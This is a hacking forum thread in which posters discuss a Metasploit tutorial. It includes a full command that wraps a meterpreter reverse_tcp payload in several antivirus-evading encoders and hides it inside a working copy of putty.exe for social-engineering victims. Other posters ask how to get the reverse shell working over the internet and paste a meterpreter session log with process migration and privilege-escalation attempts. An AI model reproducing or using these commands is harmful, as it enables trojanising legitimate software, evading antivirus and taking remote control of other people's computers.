So u like to use the truecrypt.exe nice lol one of a few that work nice.
For a great tutorial series on metasploit complete google metasploit megaprimer securitytube, best ive seen.
Last edited by pentest09; 09-24-2010 at 01:34 PM.
Actually the -k option is what I am specifically referring to with my backdooring comment. As this is a client side attack, tricking/social engineering the user is everything so keeping your the backdoored exe working can be key sometimes. Not all executables work as templates with the -k option or possibly even as templates in the first place.
Also bear in mind that this example code here did not pass my current avast. I am moving this week and don't have time to re-work the encoding so it does. It did formerly, however the executable made with this multi-encoding command string has been uploaded to virustotal for testing, as really the command was simple for testing the workings of running multiple encoders. I also developed this particular string some time ago.
The code in this case is simply an example that yes multiple encoders can still be used when backdooring an exe and even still keeping template exe working.
Again, when running it with this post Avast did detect the exe and disposed of it. With avast off I am able to get a meterpreter session started. Of course modify ip address and port as needed.Code:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.25.26 LPORT=1417 R | msfencode -e x86/shikata_ga_nai -c 3 -t raw | msfencode -e x86/call4_dword_xor -c 4 -t raw | msfencode -e x86/fnstenv_mov -c 5 -t raw | msfencode -e x86/countdown -c 4 -t raw | msfencode -e x86/shikata_ga_nai -c 16 -t exe -x /root/putty.exe -k -o /root/putty-backdoored.exe
i know this question lies totally out of the topic.. but do the classic metasploit payloads and exploits work for win7 target platforms?
Hi, very useful tutorial ! I used to use SET for simplicity, but this is just great, and not that hard
I have some questions though :
- everything is running smooth when on the same network, but how can I use it via internet ? I have two networks, two PCs. When I try this, but using my public IP, it just fails and metasploit binds to 0.0.0.0... I tried allowing connections from outside through specific ports in my router, but same result...
Any idea people ?
Edit : never mind my post, it's running all smooth ! And I didn't know 0.0.0.0 meant all interfaces. As for not working forwarding port, it was just some router FW i got rid of, and it was the good way to do it !
I didnt think getsystem works on x64 for windows 7? I also have just a lot of BSOD in my testing with getting system privs... I dont understand how you did that?
I dont see this even working on a x32
update: this is UAC blocking access, with UAC disabled this is no longer an issue I am still stuck on how to disable UAC..?Code:meterpreter > sysinfo Computer: WIN-MSUB6TKFKFA OS : Windows 7 (Build 7600, ). Arch : x86 Language: en_US meterpreter > ps ... 608 explorer.exe x86 1 WIN-MSUB6TKFKFA\user C:\Windows\Explorer.EXE meterpreter > migrate 608[*] Migrating to 608...[*] Migration completed successfully. meterpreter > getprivs ============================================================ Enabled Process Privileges ============================================================ SeShutdownPrivilege SeChangeNotifyPrivilege SeUndockPrivilege meterpreter > getsystem -t 1 [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > getsystem -t 2 [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > getsystem -t 3 [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > getsystem -t 4 ^C[-] Error running command getsystem: Interrupt
Last edited by spudgunman; 12-01-2010 at 06:53 AM.
Very good tut and thanks for sharing this nice work.
Hi everyone. I'm italian so my english isn't correct xD
So... i've a problem with meterpreter: when i create it it's ok.
in lhost i set my external address and in the msfconsole my internal address but when in an other computer (it isn't in my lan) open the file nothing appends, msfconsole receives nothing. Why?
I do all correctly but... i don't know.
Anyone can help me?
Again: Sorry for my bad english